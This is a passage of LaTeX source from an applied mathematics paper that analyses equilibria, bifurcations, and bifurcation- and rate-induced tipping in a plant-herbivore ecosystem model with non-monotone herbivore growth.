\left(E\, e^{-bP} g(P)-m\right)\!H = 0.
\end{align}
When $H=0$, there are at most two equilibria: a {\em trivial}
equilibrium $e_1$, and a \emph{plant-only} equilibrium $e_2$:
$$
e_1 = (0,0),\quad e_2 = \left(r/C,0\right).
$$
When $H \neq 0$, the equilibrium conditions
(\ref{eq:equilibrium1})--(\ref{eq:equilibrium2}) become
\begin{align}
\label{eq:nonzeroHequilibrium2}
H &= \frac{(r - CP)(P^2 + a^2)}{c_{max} \,P \,e^{-b_c P}},\\
\label{eq:nonzeroHequilibrium1}
h(P) &= E\,c_{max} \,\frac{P^2 e^{-(b+b_c) P}}{P^2+a^2} - m = 0.
\end{align}
Note that condition~\eqref{eq:nonzeroHequilibrium1},
which gives the $P$-component of equilibrium solutions,
depends on the nonlinearity parameter $b + b_c$ rather than on
$b$ and $b_c$ individually, which simplifies the discussion.
What is more, the condition and thus the $P$-components of
the ensuing equilibrium solutions are $r$-independent.
Independently of $b+b_c$, the net per-capita herbivore growth
$h(P)$ equals $-m$ for $P=0$.
When $b + b_c = 0$, the herbivore growth $h(P)$
is strictly increasing and levels off
at $E c_{max} - m > 0$ for large $P$ [Fig.~\ref{fig:graz}(b)].
Thus, Eq.~\eqref{eq:nonzeroHequilibrium1} has one positive root,
giving at most three equilibrium solutions for the system.
However, the maximum number of equilibrium solutions increases
in the presence of the key nonlinearity. When $b + b_c > 0$,
the herbivore growth $h(P)$ has a global maximum at $P = P_{opt} >0$,
and tends back to $-m$ for large $P$ [Fig.~\ref{fig:graz}(b)].
Thus, Eq.~\eqref{eq:nonzeroHequilibrium1} has at most two
positive roots, giving at most four equilibrium
solutions for the system. Although the roots of
Eq.~\eqref{eq:nonzeroHequilibrium1} cannot be expressed in a closed-form,
one can take advantage of the small nonlinearity parameter
$0< b+b_c\ll 1$ and use perturbation theory to obtain closed-form
approximations in terms of an asymptotic expansion in different powers of
$b+b_c$; see the Appendix for the details of the derivations.
Regular perturbation about $b + b_c = 0$ gives the $P$-\,component of
the \emph{herbivore-dominating} equilibrium $e_3$:
\begin{equation}
\label{eq:pert1}
P_3 = \sqrt{\frac{a^2\, m}{E\,c_{max}-m}} + \frac{a^2\, m\,E\,c_{max}}{2\left(E\,c_{max} - m\right)^{\,2}}\, (b+b_c) + \mathcal{O}\!\left((b+b_c)^2\right),
\end{equation}
where $\mathcal{O}(\epsilon^n)$ is the error term of order
$n$ as $\epsilon\to 0$, and
\begin{equation}
\label{eq:e3}
e_3 = \left(\sqrt{\dfrac{a^2\, m}{E\,c_{max}-m}} + \mathcal{O}(b+b_c),\frac{(r - CP_3)(P_3^2 + a^2)}{c_{max}\, P_3 \,e^{-b_c P_3}}\right).
\end{equation}
\begin{figure}[ht]
\begin{center}
\includegraphics[width=15cm]{Pert_16cm_2.pdf}
\end{center}
\caption{$P$ and $H$ components of the herbivore-dominating
equilibrium $e_3$ and the plant-dominating equilibrium
$e_4$ obtained from (solid curve) numerically solving
Eqs.~\eqref{eq:nonzeroHequilibrium2}--\eqref{eq:nonzeroHequilibrium1},
and from (dashed curves) first-order asymptotic approximations.
Panels (a) and (b) show the dependence on $m$ for fixed $r=1$,
and panels (c) and (d) show the dependence on $r$ for fixed $m=0.1$;
$e_1$ and $e_2$ are included for reference. $b = b_c = 0.02$,
see Table 1 for other parameter values.}
\label{fig:2Dph}
\end{figure}
Singular perturbation about $b + b_c = 0$ using a stretched variable
$\tilde{P} = (b + b_c) P$ gives the $P$-\,component of
the \emph{plant-dominating} equilibrium $e_4$:
\begin{equation}
\label{eq:pert2}
P_4 = \frac{\ln\!\left(E\,c_{max}/m\right)}{b+b_c} -
\frac{a^2(b+b_c)}{\left(\ln\!\left(E\,c_{max}/m\right)\!\right)^{\,2}}+ \mathcal{O}\!\left((b+b_c)^2\right),
\end{equation}
and
\begin{equation}
\label{eq:e4}
e_4 = \left(\frac{\ln\!\left(E\,c_{max}/m\right)}{b+b_c} + \mathcal{O}(b+b_c),\frac{(r - CP_4)(P_4^2 + a^2)}{c_{max}\,P_4 \,e^{-b_c P_4}}\right).
\end{equation}
The solid curves in Fig.~\ref{fig:2Dph} show the numerically
computed $e_3$ and $e_4$, and the dashed curves show the
first-order approximations for $e_3$ and $e_4$ using the
$P$-formulas (\ref{eq:pert1}) and (\ref{eq:pert2}) with
$\mathcal{O}((b+b_c)^2) = 0$, and the $H$-formula~\eqref{eq:nonzeroHequilibrium2}.
The main advantage of the closed-form approximations is the
information about the dependence of the equilibrium positions on the
system parameters. In particular, the effect of the nonlinearity
parameter $b + b_c$ can now be discussed in qualitative terms.
First of all, R-tipping from the herbivore-dominating equilibrium
$e_3$ to the plant-only equilibrium $e_2$ requires that both equilibria
are stable for the same parameter settings
(bistability between $e_2$ and $e_3$). In the absence of unstable limit cycles,
bistability requires one additional equilibrium $e_4$ that provides a
separatrix between the two stable equilibria $e_2$ and $e_3$. It is clear
from Eq.~\eqref{eq:pert2} that non-monotone herbivore growth
due to $b + b_c > 0$ together with $m > 0$ are necessary for the
additional equilibrium $e_4$ to exist.
Figure~\ref{fig:2Dph} shows that $e_3$ and $e_4$ may become degenerate
with each other, or each of them may become degenerate with $e_2$.
These degeneracies are indicative of transcritical and saddle-node bifurcations.
\noindent
{\bf Degeneracy of $e_2$ with $e_3$ or $e_4$ via transcritical bifurcation.}
Equilibrium $e_3$ or $e_4$ becomes degenerate with $e_2$ in a
transverse crossing if $P=r/C$ in
Eqs.~\eqref{eq:nonzeroHequilibrium2}--\eqref{eq:nonzeroHequilibrium1}.
Thus, substituting $P=r/C$ into Eq.~\eqref{eq:nonzeroHequilibrium1}
defines a curve $T$ of transcritical bifurcations in the $(r,m)$ parameter plane
\begin{equation}
\label{eq:trans1}
T = \left\{ (r,m):
m = \frac{E\,c_{max} e^{-(b+b_c)r/C}}{(a\,C/r)^2 + 1}
\right\}.
\end{equation}
If $b + b_c = 0$, curve $T$ emerges from the origin
and levels off at $m = E\,c_{max}$ for large $r$ [Fig.\ref{fig:rm2}(a)].
Equilibrium $e_3$ that bifurcates from $e_2$ exists
below $T$.
If $b + b_c > 0$, curve $T$ emerges from the origin,
has a maximum denoted with $ST$, and approaches $m=0$ from above
for large $r$ [Fig.\ref{fig:rm2}(b)]. Now, $T$ consists
of two different branches separated by $ST$.
Equilibrium $e_3$, that bifurcates from $e_2$ along the
left-hand branch of $T$, exists below the left-hand branch of $T$.
In contrast, equilibrium $e_4$, that bifurcates from $e_2$ along the
right-hand branch of $T$, exists above the right-hand branch of $T$.
\begin{figure}[t]
\includegraphics[]{Simple_2ParBifnostab_16cm.pdf}
\caption{Two-parameter bifurcation diagrams obtained
analytically for (a) $b=b_c=0$ and (b) $b\,+\,b_c=0.04$,
showing the curve
$T$ of transcritical bifurcations, and the half-line
$S_e$ of saddle-node bifurcations. $S_e$ emerges from a
codimension-2 saddle-node-transcritical bifurcation point
$ST$. $T$ and $S_e$ divide the $(r,m)$-parameter plane
into regions with different numbers of equilibria.
See Table 1 for other parameter values.}
\label{fig:rm2}
\end{figure}
\noindent
{\bf Degeneracy of $e_3$ with $e_4$ in a saddle-node bifurcation.}
Equilibria $e_3$ and $e_4$ become degenerate in a quadratic tangency
when $r$-independent Eq.~\eqref{eq:nonzeroHequilibrium1} has a
non-negative double root, meaning that
\begin{equation}
\label{eq:12}
h(P) = \frac{dh}{dP} = 0\; \text{ and }\; \frac{d^2h}{dP^2} \ne 0\; \text{ for }\; P \geq 0, \end{equation}
and the corresponding $H$ from Eq.(\ref{eq:nonzeroHequilibrium2})
is non-negative, meaning that
\begin{equation}
\label{eq:13}
r \geq C P .
\end{equation}
Conditions~\eqref{eq:12} give the cubic equation for $P$:
\begin{equation}
\label{eq:7}
q(P) = (b+b_c)P^3 + a^2(b+b_c)P - 2\,a^2 = 0.
\end{equation}
A positive root of $q(P)$ is used in
Eq.~\eqref{eq:nonzeroHequilibrium1} to determine the value of
$m$ at which $e_3$ and $e_4$ become degenerate
\begin{equation}
\label{eq:14}
m = \dfrac{E\,c_{max}\,e^{-(b + b_c) P}}{(a/P)^2 + 1},
\end{equation}
and in Eq.~\eqref{eq:13} to determine the corresponding range of $r$
where $e_3$ and $e_4$ become degenerate.
Thus, conditions~\eqref{eq:13}--\eqref{eq:14} define a half-line
of saddle-node bifurcations of equilibria in the $(r,m)$ parameter
plane
\begin{equation}
\label{eq:saddle1}
S_e = \left\{(r,m):q(P) = 0 \text{, } r \geq C P \text{ and } m = \dfrac{E\,c_{max}\,e^{-(b + b_c) P}}{(a/P)^2 + 1} \right\}.
\end{equation}
If $b + b_c = 0$, then $q(P)$ has no roots,
meaning that there is no saddle-node bifurcation
of equilibria [Fig.\ref{fig:rm2}(a)].
If $b + b_c > 0$, $q(P)$ is negative for $P=0$,
monotonically increasing, and positive for $P$ large enough,
meaning that Eq.~\eqref{eq:7} has a unique positive root. This root
corresponds to a unique saddle-node half-line $S_e$.
Equilibria $e_3$ and $e_4$ exist below $S_e$, and become degenerate and disappear along $S_e$.
What is more, conditions~\eqref{eq:trans1} and~\eqref{eq:saddle1} become identical when $r=CP$, meaning that the end of the half-line $S_e$ lies on $T$. Indeed, Fig.\ref{fig:rm2}(b) shows that $S_e$ emerges from the special
saddle-node-transcritical bifurcation point $ST$, where all three
equilibria $e_2$, $e_3$ and $e_4$ become degenerate.
\subsection{Stability and Bifurcation Analysis}
Linear stability of equilibria can be determined from the
eigenvalues of the Jacobian matrix
\begin{equation}
\label{mat:2}
J = \left(\! \begin{array}{cc}
r - 2CP - Hg'(P) & - g(P)\\
E e^{-bP}\left(g'(P) - b\, g(P)\right) H & E g(P)e^{-bP}- m
\end{array} \!\right)
\end{equation}
where
$$
g'(P) = - g(P)\left(\frac{2P}{P^2 + a^2} - \frac{2}{P} + b_c \right).
$$
At the trivial equilibrium $e_1=(0,0)$, the Jacobian matrix
has eigenvalues $\lambda_1 = r > 0$ and $\lambda_2 = - m<0$,
meaning that $e_1$ is always a saddle.
At the plant-only equilibrium $e_2=(r/C,0)$, the Jacobian matrix
has eigenvalues $\lambda_1 = -r<0$ and
$\lambda_2 = E c_{max}\, e^{-(b+b_c)r/C}/\left((a\,C/r)^2 + 1\right) -m$.
Hence, $e_2$ is a stable node when $\lambda_2 < 0$, a saddle when
$\lambda_2 > 0$, and undergoes a transcritical bifurcation
whenever $\lambda_2 = 0$; one can verify that $\lambda_2 = 0$ gives
the transcritical bifurcation condition~\eqref{eq:trans1}.
Stability and bifurcations of the herbivore-dominating equilibrium $e_3$
and the plant-dominating equilibrium $e_4$ are obtained
numerically. The Jacobian matrix shows that the stability of
$e_3$ and $e_4$ depends on the nonlinearity parameter $b+b_c$ as well
as on $b_c$ alone, meaning that it needs to be discussed with dependence
on $b$ and $b_c$ individually.
To showcase different types of dynamics and bifurcations
in the autonomous ecosystem~\eqref{eq:dP/dt}--\eqref{eq:dH/dt},
we plot one-dimensional bifurcation diagrams in Fig.~\ref{PH}
for two types of parameter paths. In the left column we fix $r$ and
consider a range of $m\in(0,0.2]$.
In the right column we fix $m$ and consider a range of $r\in(0,2]$.
In addition to the transcritical $T$ and saddle-node $S_e$ bifurcations
of equilibria identified in the previous section, there are
sub- and supercritical Hopf bifurcations $H_e$. In a supercritical
Hopf bifurcation, a stable equilibrium turns unstable and gives rise
to a stable limit cycle [Fig.~\ref{PH}(e)--(f)]. Thus, this bifurcation
is safe. In a subcritical Hopf bifurcation, an unstable
limit cycle shrinks onto a stable equilibrium and the equilibrium becomes
unstable [Fig.~\ref{PH}(b)--(c)]. The subcritical Hopf bifurcation is
classified as dangerous because it gives rise to a discontinuity in the attracting
set that is the branch of stable equilibria. What is more, a limit
cycle can connect to the saddle equilibrium
$e_4$ and disappear in a homoclinic bifurcation $h$ [Fig.~\ref{PH}(b)--(c)
or (e)--(f)]. For more details and background on bifurcation theory,
we refer to~\cite{kuznetsovelements}.
\clearpage
\begin{figure}[t]
\begin{center}
\includegraphics[width = 15cm]{3D_mPH_rPH.pdf}
\end{center}
\caption{One-parameter bifurcation diagrams showing the position and stability
of equilibria and limit cycles.
The left column shows the $(P,H,m)$-space for (a) $r=0.5$, $(b,b_c)= (0.025,0.025)$
(c) $r=1$, $(b,b_c)= (0.02,0.02)$ and (e) $r=1.5$, $(b,b_c)= (0.001,0.005)$.
The right column shows the $(P,H,r)$-space for (b) $m=0.115$,
$(b,b_c)= (0.025,0.025)$ (d) $m=0.1$, $(b,b_c)= (0.02,0.02)$ and (f) $m=0.25$,
$(b,b_c)= (0.001,0.005)$. Solid branches indicate stable
solutions, dashed branches indicate unstable solutions. Projections onto
the $(m,P)$ and $(r,P)$ planes are shown in grey. For the labeling of different
bifurcations see Table~\ref{tab:3}.
}
\label{PH}
\end{figure}
\clearpage
\begin{table}[t]
\begin{center}
\begin{tabular}{cl}
\hline
Symbol & Description \\
\hline
\rowcolor{ggray!50}$T$ & Transcritical bifurcation \\
$S_e$ & Saddle-node of equilibria bifurcation \\
\rowcolor{ggray!50}$ST$ & Saddle-node-transcritical bifurcation\\
$H_e$ & Hopf bifurcation \\
\rowcolor{ggray!50}$h$ & Homoclinic bifurcation \\
$BT_{I(II)}$ & Bogdanov-Takens type I(II) bifurcation \\
\rowcolor{ggray!50}$GH$ & Generalised Hopf (Bautin) bifurcation \\
$S_{lc}$ & Saddle-node of limit cycles bifurcation \\
\rowcolor{ggray!50}$h_{res}$ & Resonant homoclinic bifurcation \\
$BI$ & Basin Instability \\
\hline
\end{tabular}
\caption{Glossary of terms for bifurcation diagrams.}
\label{tab:3}
\end{center}
\end{table}
\begin{figure}[t]
\begin{center}
\includegraphics[width = 14.5cm]{r-m_2X2_16cmcolsubdash.pdf}
\caption{Examples of four qualitatively different $(r,m)$-bifurcation
diagrams obtained for different but fixed $(b, b_c)$ = (a) $(0,0)$, (b) $(0.001,0.005)$, (c) $(0.005,0.01)$, (d) $(0.025,0.025)$.
Supercritical (subcritical) bifurcations are plotted as solid
(dashed) curves. For the labelling of different bifurcations See Table~\ref{tab:3}.
}
\label{fig:rm}
\end{center}
\end{figure}
To provide a systematic bifurcation analysis, we obtain
two-dimensional $(r,m)$ bifurcation diagrams for different
but fixed values of $b$ and $b_c$ [Fig.~\ref{fig:rm}].
We plot codimension-one supercritical bifurcations as
solid curves and
subcritical bifurcations as dashed curves.
Along a solid (dashed) transcritical bifurcation,
the bifurcating branch of equilibria is stable
(of saddle type); along a solid (dashed) saddle-node
bifurcation, a saddle collides with an attractor
(repeller); and along solid (dashed) Hopf
and homoclinic bifurcations, the bifurcating limit
cycle is attracting (repelling). Transcritical and
saddle-node bifurcations of equilibria are obtained
using conditions~\eqref{eq:trans1} and~\eqref{eq:saddle1},
respectively. Hopf, homoclinic and saddle-node bifurcations
of limit cycles are computed using the numerical continuation
software AUTO~\cite{doedel2007auto}.
For each bifurcation diagram, we identify regions with
qualitatively different dynamics and illustrate these
with examples of phase portraits in the $(P,H)$ phase plane
[Fig.~\ref{fig:pp}].
It turns out that there are at least four qualitatively different
$(r,m)$ bifurcation diagrams, depending on the
settings of $b$ and $b_c$.
In the absence of the key nonlinearity, that is when $b + b_c = 0$
giving the classical type-III functional response,
there are just two bifurcation curves:
curve $T$ of supercritical transcritical bifurcations, and curve $H_e$ of
supercritical Hopf bifurcations [Fig.~\ref{fig:rm}(a)].
These two curves do not interact, and separate the $(r,m)$ parameter
plane into three distinct regions with qualitatively different
dynamics [Fig.~\ref{fig:pp}, {1}--{3}]. In particular,
$H_e$ gives rise to a stable limit cycle in region {3}, which
represents stable but oscillatory coexistence between plants
and herbivores. These simple dynamics change drastically in the
presence of the key nonlinearity.
When $b + b_c$ becomes small but non-zero, a number of
qualitative changes take place in the bifurcation diagram as
expected from the singular perturbation nature of the problem.
Specifically, there are three additional co-dimension one bifurcation curves, and four
special codimension-two bifurcation points [Fig.~\ref{fig:rm}(b)].
Understanding the new bifurcation diagram is reminiscent of
assembling a jigsaw-puzzle.
Firstly, a half-line $S_e$ of saddle-node bifurcations
of equilibria appears. $S_e$ emerges from the
saddle-node-transcritical bifurcation point $ST$ on $T$,
where $T$ changes from super- to subcritical.
Secondly, $H_e$ is no longer unbounded at both ends,
but emerges from the
Bogdanov-Takens bifurcation point $BT_I$ on $S_e$,
where $S_e$ changes from super- to subcritical. There are
two possible types of Bogdanov-Takens bifurcation,
and $BT_I$ is type-I according to
the classification in~\cite[Sec.8.4]{kuznetsovelements}.
It is known from the unfolding of a Bogdanov-Takens
bifurcation that an additional bifurcation curve,
namely the curve of homoclinic bifurcations $h$,
must emerge from $BT_I$. Along $h$, the limit cycle
originating from $H_e$ becomes a connecting orbit to the saddle
equilibrium $e_3$ and disappears [Fig.~\ref{fig:pp} {$h$}].
Thirdly, there is a generalised Hopf (or Bautin) bifurcation point
$GH$ on $H_e$, where $H_e$ changes from super- to
subcritical~\cite[Sec.8.3]{kuznetsovelements}.
It is known from the unfolding of a generalised Hopf
bifurcation that an additional bifurcation curve,
namely the curve of saddle-node of limit cycles $S_{lc}$,
must emerge from $GH$. Along $S_{lc}$, two limit cycles
of which one is stable and the other repelling collide and disappear.
Finally, $S_{lc}$ terminates on $h$ at a resonant homoclinic
bifurcation point $h_{res}$, where $h$ changes from super-
to subcritical. This new bifurcation structure has five additional
regions {4}--{8} with qualitatively different dynamics;
for regions {7}--{8} see the inset in Fig.~\ref{fig:rm}(c).
We would like to point out the appearance of adjacent regions {5}
and {7} with bistability between the plant-only equilibrium $e_2$ and
the herbivore-dominating equilibrium $e_3$.
When the combination of $b$ and $b_c$ is increased further,
bifurcation points $GH$ and $h_{res}$ approach
$BT_I$ [Fig.~\ref{fig:rm}(c)].
In the process, region {3} with stable self-sustained
oscillations disappears, while bistable region {5}
becomes noticeably larger.
Then, there are { special combinations} of $b$ and $b_c$,
where $GH$ and $h_{res}$ collide simultaneously with $BT_I$
and disappear in a codimension-three degenerate Bogdanov-Takens
bifurcation (not shown in the figure). This collision
eliminates $S_{lc}$ together with the supercritical part of $H_e$
and with regions {6} and {8}. What is more,
the Bogdanov-Takens bifurcation point changes to type II.
The difference from $BT_{I}$ is that $H_e$ and $h$ emerging
from $BT_{II}$ swap their relative positions and become subcritical
[Fig.~\ref{fig:rm}(d)].
Past the special combination of $b$ and $b_c$,
there are four bifurcation curves,
including the two dangerous bifurcations of equilibria that
are of interest for B-tipping:
the (solid) half-line $S_e$ of supercritical saddle-node bifurcations,
and the (dashed) curve $H_e$ of subcritical Hopf bifurcations.
Additionally, there are two special bifurcation points, one of which
is the type-II Bogdanov-Takens bifurcation point $BT_{II}$.
$H_e$ gives rise to a repelling limit cycle in region {7},
which becomes a connecting orbit to the saddle equilibrium $e_4$ and disappears in a
homoclinic bifurcation along $h$. Finally, a substantial part of
the diagram is occupied by adjacent bistable regions {5}
and {7}. In these two regions, the plant-only
equilibrium $e_2$ and the herbivore-dominating equilibrium $e_3$
are both stable, which is of interest for R-tipping from
$e_3$ to $e_2$ studied in the next section.
To conclude the bifurcation analysis, we quantify in
Fig.~\ref{fig:bbc} ``the special combinations of $b$ and $b_c$''
that give rise to a codimension-three degenerate Bogdanov-Takens
bifurcation. In the $(b,b_c)$ parameter plane, these ``special combinations"
lie on a curve which separates the regions with type-I and type-II
Bogdanov-Takens bifurcation points.
In other words, Fig.~\ref{fig:bbc} shows the projection of a
codimension-three bifurcation curve from the four-dimensional
$(r,m,b,b_c)$ parameter space onto the $(b,b_c)$ parameter
plane. Points labeled (a)--(d) in Fig.~\ref{fig:bbc} refer to the
values of $b$ and $b_c$ chosen for the $(r,m)$ bifurcation
diagrams in Fig.~\ref{fig:rm}. The asterisk indicates the
values of $b$ and $b_c$ used in Ref.~\cite{scheffer2008pulse}.
\clearpage
\begin{figure}[t]
\begin{center}
\includegraphics[width = 14.5 cm]{PhasePortraits16cm_e.pdf}
\end{center}
\caption{Examples of qualitiatively different $(P,H)$-phase portraits
for the autonomous system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt} showing
(filled circles) stable equilibria, (open circles) unstable equilibria,
(thick curves) limit cycles and stable/unstable invariant
manifolds of saddle equilibria, and (thin curves) examples of
typical trajectories. Note the stable limit cycle in regions
3 and 6, the unstable limit cycle in region 7, and two
limit cycles in region 8. See Table \ref{tab:2} for
parameter values.}
\label{fig:pp}
\end{figure}
\clearpage
\begin{table}[]
\begin{center}
\begin{tabular}{cllll}
\hline
Phase Portrait & $r$ & $m$ & $b$ & $b_c$\\
\hline
\rowcolor{ggray!50} {1} & 0.5 & 0.14 & 0.025 & 0.025 \\
{2} & 0.5 & 0.05 & 0.025 & 0.025 \\
\rowcolor{ggray!50} {3} & 1.5 & 0.23 & 0.001 & 0.005 \\
{4} & 1 & 0.125 & 0.025 & 0.025 \\
\rowcolor{ggray!50} {5} & 1 & 0.075 & 0.025 & 0.025 \\
{6} & 1 & 0.21 & 0.005 & 0.01 \\
\rowcolor{ggray!50} {7} & 1 & 0.12 & 0.025 & 0.025 \\
{8} & 1.5 & 0.18025 & 0.005 & 0.01 \\
\rowcolor{ggray!50} {\small{$h$}} & 1.5 & 0.2684 & 0.001 & 0.005 \\
\hline
\end{tabular}
\caption{Parameter values chosen for phase portraits in Fig.\ref{fig:pp}}
\label{tab:2}
\end{center}
\end{table}
\begin{figure}[]
\begin{center}
\includegraphics[]{Codim3_BT.pdf}
\end{center}
\caption{Projection of codimension-three degenerate Bogdanov-Takens
bifurcation curve onto the $(b, b_c)$-parameter plane. Also shown are
the $(b,b_c)$ pairs used for generating diagrams (a)--(d)
in Fig.\ref{fig:rm}. The asterisk indicates the values of $b$ and
$b_c$ used in Ref.~\cite{scheffer2008pulse}.
}
\label{fig:bbc}
\end{figure}
\clearpage
\subsection{Summary of B-tipping: Simple Criteria and Robustness}
In summary, classical bifurcation analysis defined for fixed-in-time input
parameters describes {\em quasistatic} or {\em adiabatic effects}
of the plant growth rate $r$, the herbivore mortality rate $m$, and
the decline in herbivore growth at high plant biomass quantified by the
nonlinearity parameter $b + b_c$.
When $b + b_c = 0$, we do not expect any B-tipping owing to the lack
of dangerous bifurcations. However, when $b + b_c > 0$, meaning that there is a decline in herbivore growth at high plant biomass, a number
of different critical transitions appear in the ecosystem.
The two most dominant are the two generic dangerous bifurcations
of equilibria, namely supercritical saddle-node and
subcritical Hopf bifurcations. Additionally, but less
important for this study, there is a subcritical
transcritical bifurcation [Fig.~\ref{PH}(b), (d) and (f)],
a supercritical saddle-node bifurcation of limit cycles
[e.g. see the inset in Fig.~\ref{fig:rm}(c)], and a supercritical
homoclinic bifurcation [Fig.~\ref{PH}(e)--(f)]. Thus, to identify
B-tipping in the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}, it is sufficient to consider an $(r,m)$ bifurcation
diagram for the autonomous system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt}
with a prescribed parameter path.
{\em Testable criterion for B-tipping.} If a parameter
path in a $(r,m)$ bifurcation diagram crosses one of the
dangerous bifurcations, then there is a time-varying external
input $\Lambda(t) = (r(t),m(t))$ that traces out this path and
gives rise to B-tipping.
Figure~\ref{fig:pht0} shows an example of such a path, denoted
with $\Delta_m$ in panel (a), together with the dynamics of the
non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na},
where $m(t)$ drifts slowly along the path [panel (b)].
If the system starts near the stable
equilibrium $e_3$ at the lower end $p_1$ of the path and
$m(t)$ increases over time, then the non-autonomous
system tracks the moving stable equilibrium $e_3(t)$ up to the point
of the dangerous bifurcation $S_e$ [Figure~\ref{fig:pht0}(b)].
As $m(t)$ passes through the bifurcation, which defines the
{\it critical level} of $m$, the system undergoes a sudden and
abrupt transition to the other stable equilibrium $e_2(t)$.
Such instability is also described as a {\em dynamic} or {\em adiabatic
bifurcation}~\cite{Benoit1991,Rasmussen2007}.
To discuss the robustness of B-tipping, we can invoke the notions
of genericity and co-dimension of a bifurcation~\cite[Sec.2.5]{kuznetsovelements}.
Specifically, B-tipping due to generic co-dimension one bifurcations
is unaffected by small perturbations to the system or to the
parameter path. We refer to~\cite{ashwin2017parameter} for
a more general and precise definition of B-tipping, and for
rigorous criteria for B-tipping.
\clearpage
\begin{figure}[]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Tanh_through_saddle.pdf}
\end{center}
\caption{(a) Example of a parameter path $\Delta_m$ that crosses a saddle-node
bifurcation of equilibria $S_e$ in the $(r,m)$-bifurcation diagram.
(b) As $m(t)$ is increased from $p_1 = (0.5,0.12)$ along the path,
the non-autonomous system initially follows the moving stable equilibrium $e_3(t)$,
but then undergoes B-tipping from $e_3(t)$ to $e_2(t)$ as $m(t)$ passes through $S_e$.
$b = b_c = 0.025$, and $m(t) = 0.12 + 0.015 (\tanh(10^{-3} t) + 1)/2$.
The moving equilibria are obtained for $\varepsilon = 10^{-3}$.
}
\label{fig:pht0}
\end{figure}
\begin{figure}[]
\begin{center}
\hspace*{-0.5cm}
\includegraphics[]{Tanh_r75m075_dyndel.pdf}
\end{center}
\caption{(a) Example of a parameter path $\Delta_r$ that does not cross
any bifurcation curves in the $(r,m)$-bifurcation diagram. (b) As $r(t)$
is increased from $p_1 = (0.75,0.075)$ along the path at a rate
$\varepsilon^-$, (blue trajectory) the non-autonomous system tracks
the moving stable equilibrium $e_3(t)$. However, for a faster
rate $\varepsilon^+ > \varepsilon^-$, (red trajectory) there is
irreversible R-tipping from $e_3(t)$ to $e_2(t)$ even though $e_3(t)$
never disappears or loses stability.
$b = b_c = 0.025$, and $r(t) = 0.75 + 0.6 (\tanh(\varepsilon t) + 1)/2$,
with $\varepsilon^- = 0.1$ and $\varepsilon^+ = 0.2$. The moving equilibria
are obtained for $\varepsilon \approx 0.14$.
}
\label{fig:pht01}
\end{figure}
\clearpage
\section{Irreversible R-Tipping: Beyond Classical Bifurcations}
\label{sec:Rtip}
In this section we go beyond the adiabatic effects of parameter
change. Specifically, we consider genuine non-autonomous
instabilities that
arise solely from the time variation of the input parameters $r$ and $m$, and cannot
be captured by classical bifurcation analysis. Specifically,
we ask : {\em Are there parameter paths in the $(r,m)$ bifurcation diagram
that do not cross any bifurcations
of the stable equilibrium $e_3$ but give rise to tipping?} The
answer is yes. This was demonstrated in~\cite{scheffer2008pulse}
and is examined here in more depth. Consider the $(r,m)$ bifurcation diagram
with a parameter path $\Delta_r$ that does not cross any bifurcations
in Fig.~\ref{fig:pht01}(a). If the non-autonomous system starts
at the stable equilibrium $e_3$ near the lower end $p_1$ of the path,
and $r(t)$ increases slowly enough along the path, then the
non-autonomous system is able to adapt to the changing environment
and track the moving stable equilibrium $e_3(t)$ along
the entire path [blue trajectory in Fig.~\ref{fig:pht01}(b)].
However, if $r(t) $ increases slowly but faster than some critical rate,
the non-autonomous system fails to adapt to the changing environment and
undergoes a critical transition from $e_3(t)$ to the other stable
equilibrium $e_2(t)$ [red trajectory in Fig.~\ref{fig:pht01}(b)].
This happens even though $e_3(t)$ never loses stability along the path.
Such instability is called {\em irreversible R-tipping}.\footnote{This is in contrast
to the transient
phenomenon of {\em reversible R-tipping}, where the system fails to
track the moving stable state, suddenly moves to a different state,
but in the long term returns to and tracks the original stable state~\cite{wieczorek2011excitability,wieczorek2018}.}
\subsection{The Vicious Cycle}
\label{sec:vc}
Intuitively, R-tipping is the result of
a {\em vicious cycle} that could potentially tip
the system to a different state if the input parameters vary
too fast. In the ecosystem model, the vicious cycle arises
from the key nonlinearity identified in Sec.~\ref{sec:keynon},
that is from non-monotone
herbivore growth~\eqref{eq:hg} that changes sign from positive to
negative at high plant biomass $P=P_4$ [see Fig.\ref{fig:graz}(b)].
The effect can be understood as follows.
Consider a stable herbivore population with a lower than optimal
plant biomass $P_3$ for some $r=r_-$. Then, consider a smooth increase
in the plant growth rate from $r_-$ to $r_+$. The increase results
in faster growing plants, and moves the stable equilibrium to a
larger herbivore population with the same plant biomass $P_3$.
If $r(t)$ increases slowly enough, herbivores manage to graze
and grow fast enough so that the larger herbivore population
is able to maintain the same plant biomass at larger $r=r_+$. However,
if $r(t)$ increases too fast, herbivores may be unable to keep
up and prevent the plant biomass from growing past its optimal
value $P_{opt}$. This, in turn, triggers the vicious cycle: past the optimal
plant biomass, the larger the plant biomass gets, the less the
herbivores graze and grow, allowing the plant biomass to get even larger. The ultimate result is negative net
herbivore growth causing a sudden collapse of the herbivore
population. This is accompanied by a sudden increase in the plant
biomass to $P_4$. Even though there is no classical bifurcation along the
parameter path between $r_-$ and $r_+$, the rate of change of $r(t)$ alone
prevents the system from adapting to the modified stable equilibrium.
In the proceeding sections, we perform a systematic mathematical analysis
of the vicious cycle mechanism that gives rise to irreversible
R-tipping as shown in Fig.~\ref{fig:pht01}(b).
\subsection{Simple Criteria for Irreversible R-tipping}
\label{sec:tcTtip}
It turns out that,
similarly to B-tipping, much can be understood about irreversible
R-tipping in the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
from certain properties of the corresponding autonomous
system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt}. The difference is
that R-tipping is related to global, rather than local,
properties of the stable state (an attractor). Specifically, we
need the following ingredients to give testable criteria for
irreversible R-tipping:
\begin{itemize}
\item[(i)] A {\em stable base equilibrium} $e(p)$ whose position
depends on the input parameter(s) $p$. For example,
stable equilibrium $e_3$ for the ecosystem model can be given in
terms of parameters $r$ and $m$ by the asymptotic expansion formula~\eqref{eq:e3}.
\item[(ii)]
{\em Bistability or multistability} - at
least one additional attractor $a$ that coexists
with $e$ for the same setting of the input parameters.
For example, there is bistability between $e_3$ and $e_2$
in the $(r,m)$ parameter regions 5 and 7.
\item[(iii)] A continuous {\em parameter path} $\Delta$ in the
space of the input parameters, that does not cross any dangerous bifurcations
of the base equilibrium $e$. For example, the horizontal
